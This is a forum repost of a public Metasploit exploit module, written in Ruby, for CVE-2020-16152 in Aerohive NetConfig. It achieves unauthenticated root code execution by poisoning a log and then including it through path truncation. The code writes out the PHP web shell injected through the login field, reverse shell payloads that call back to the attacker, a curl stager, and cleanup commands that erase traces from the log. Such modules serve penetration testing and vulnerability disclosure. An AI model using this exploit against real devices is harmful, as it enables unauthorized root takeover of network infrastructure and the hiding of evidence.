Aerohive NetConfig 10.0r8a Local File Inclusion / Remote Code Execution

#484
Topic created · 1 Posts · 0 Views
  • This Metasploit module exploits local file inclusion and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain remote code execution as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the application responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily)
    unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a.
    MD5 | 70c6dcfbe8cd1056d848f4af42f66776
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    include Msf::Exploit::Remote::HttpClient  
    include Msf::Exploit::CmdStager  
    prepend Msf::Exploit::Remote::AutoCheck  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',  
    'Description' => %q{  
    This module exploits LFI and log poisoning vulnerabilities  
    (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a  
    build-242466 and older in order to achieve unauthenticated remote  
    code execution as the root user. NetConfig is the Aerohive/Extreme  
    Networks HiveOS administrative webinterface. Vulnerable versions  
    allow for LFI because they rely on a version of PHP 5 that is  
    vulnerable to string truncation attacks. This module leverages this  
    issue in conjunction with log poisoning to gain RCE as root.  
    Upon successful exploitation, the Aerohive NetConfig application  
    will hang for as long as the spawned shell remains open. Closing  
    the session should render the app responsive again.  
    The module provides an automatic cleanup option to clean the log.  
    However, this option is disabled by default because any modifications  
    to the /tmp/messages log, even via sed, may render the target  
    (temporarily) unexploitable. This state can last over an hour.  
    This module has been successfully tested against Aerohive NetConfig  
    versions 8.2r4 and 10.0r7a.  
    },  
    'License' => MSF_LICENSE,  
    'Author' => [  
    'Erik de Jong', # github.com/eriknl - discovery and PoC  
    'Erik Wynter' # @wyntererik - Metasploit  
    ],  
    'References' => [  
    ['CVE', '2020-16152'], # still categorized as RESERVED  
    ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code  
    ],  
    'DefaultOptions' => {  
    'SSL' => true,  
    'RPORT' => 443  
    },  
    'Platform' => %w[linux unix],  
    'Arch' => [ ARCH_ARMLE, ARCH_CMD ],  
    'Targets' => [  
    [  
    'Linux', {  
    'Arch' => [ARCH_ARMLE],  
    'Platform' => 'linux',  
    'DefaultOptions' => {  
    'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',  
    'CMDSTAGER::FLAVOR' => 'curl'  
    }  
    }  
    ],  
    [  
    'CMD', {  
    'Arch' => [ARCH_CMD],  
    'Platform' => 'unix',  
    'DefaultOptions' => {  
    'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target'  
    }  
    }  
    ]  
    ],  
    'Privileged' => true,  
    'DisclosureDate' => '2020-02-17',  
    'DefaultTarget' => 0,  
    'Notes' => {  
    'Stability' => [ CRASH_SAFE ],  
    'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
    'Reliability' => [ REPEATABLE_SESSION ]  
    }  
    )  
    )  
    register_options [  
    OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']),  
    OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]),  
    ]  
    end  
    def auto_clean_log  
    datastore['AUTO_CLEAN_LOG']  
    end  
    def check  
    res = send_request_cgi({  
    'method' => 'GET',  
    'uri' => normalize_uri(target_uri.path, 'index.php5')  
    })  
    unless res  
    return CheckCode::Unknown('Connection failed.')  
    end  
    unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')  
    return CheckCode::Safe('Target is not an Aerohive NetConfig application.')  
    end  
    version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first  
    unless version  
    return CheckCode::Detected('Could not determine Aerohive NetConfig version.')  
    end  
    begin  
    if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')  
    return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")  
    else  
    print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')  
    return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")  
    end  
    rescue StandardError => e  
    return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")  
    end  
    end  
    def poison_log  
    password = rand_text_alphanumeric(8..12)  
    @shell_cmd_name = rand_text_alphanumeric(3..6)  
    @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>"  
    # Poison /tmp/messages  
    print_status('Attempting to poison the log at /tmp/messages...')  
    res = send_request_cgi({  
    'method' => 'POST',  
    'uri' => normalize_uri(target_uri.path, 'login.php5'),  
    'vars_post' => {  
    'login_auth' => 0,  
    'miniHiveUI' => 1,  
    'authselect' => 'Name/Password',  
    'userName' => @poison_cmd,  
    'password' => password  
    }  
    })  
    unless res  
    fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')  
    end  
    unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')  
    fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')  
    end  
    print_status('Server responded as expected. Continuing...')  
    end  
    def on_new_session(session)  
    log_cleaned = false  
    if auto_clean_log  
    print_status('Attempting to clean the log file at /tmp/messages...')  
    print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')  
    begin  
    # We need remove the line containing the PHP system call from /tmp/messages  
    # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.  
    # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line  
    # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:  
    # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period.  
    line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"  
    clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"  
    cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\  
    "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"  
    if session.type.to_s.eql? 'meterpreter'  
    session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'  
    session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"")  
    # Wait for cleanup  
    Rex.sleep 5  
    # Check for the PHP system call in /tmp/messages  
    messages_contents = session.fs.file.open('/tmp/messages').read.to_s  
    # using =~ here produced unexpected results, so include? is used instead  
    unless messages_contents.include?(@poison_cmd)  
    log_cleaned = true  
    end  
    elsif session.type.to_s.eql?('shell')  
    session.shell_command_token(cmds_to_clean_log.to_s)  
    # Check for the PHP system call in /tmp/messages  
    poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")  
    # using =~ here produced unexpected results, so include? is used instead  
    unless poison_evidence.include?(@poison_cmd)  
    log_cleaned = true  
    end  
    end  
    rescue StandardError => e  
    print_error("Error during cleanup: #{e.message}")  
    ensure  
    super  
    end  
    unless log_cleaned  
    print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages")  
    end  
    end  
    if log_cleaned  
    print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')  
    else  
    print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")  
    print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')  
    print_warning('Deleting /tmp/messages or clearing out the file may break the application.')  
    end  
    end  
    def execute_command(cmd, _opts = {})  
    print_status('Attempting to execute the payload')  
    send_request_cgi({  
    'method' => 'POST',  
    'uri' => normalize_uri(target_uri.path, 'action.php5'),  
    'vars_get' => {  
    '_action' => 'list',  
    'debug' => 'true'  
    },  
    'vars_post' => {  
    '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages',  # Trigger LFI through path truncation  
    @shell_cmd_name => cmd  
    }  
    }, 0)  
    print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')  
    end  
    def exploit  
    poison_log  
    if target.arch.first == ARCH_CMD  
    print_status('Executing the payload')  
    execute_command(payload.encoded)  
    else  
    execute_cmdstager(background: true)  
    end  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply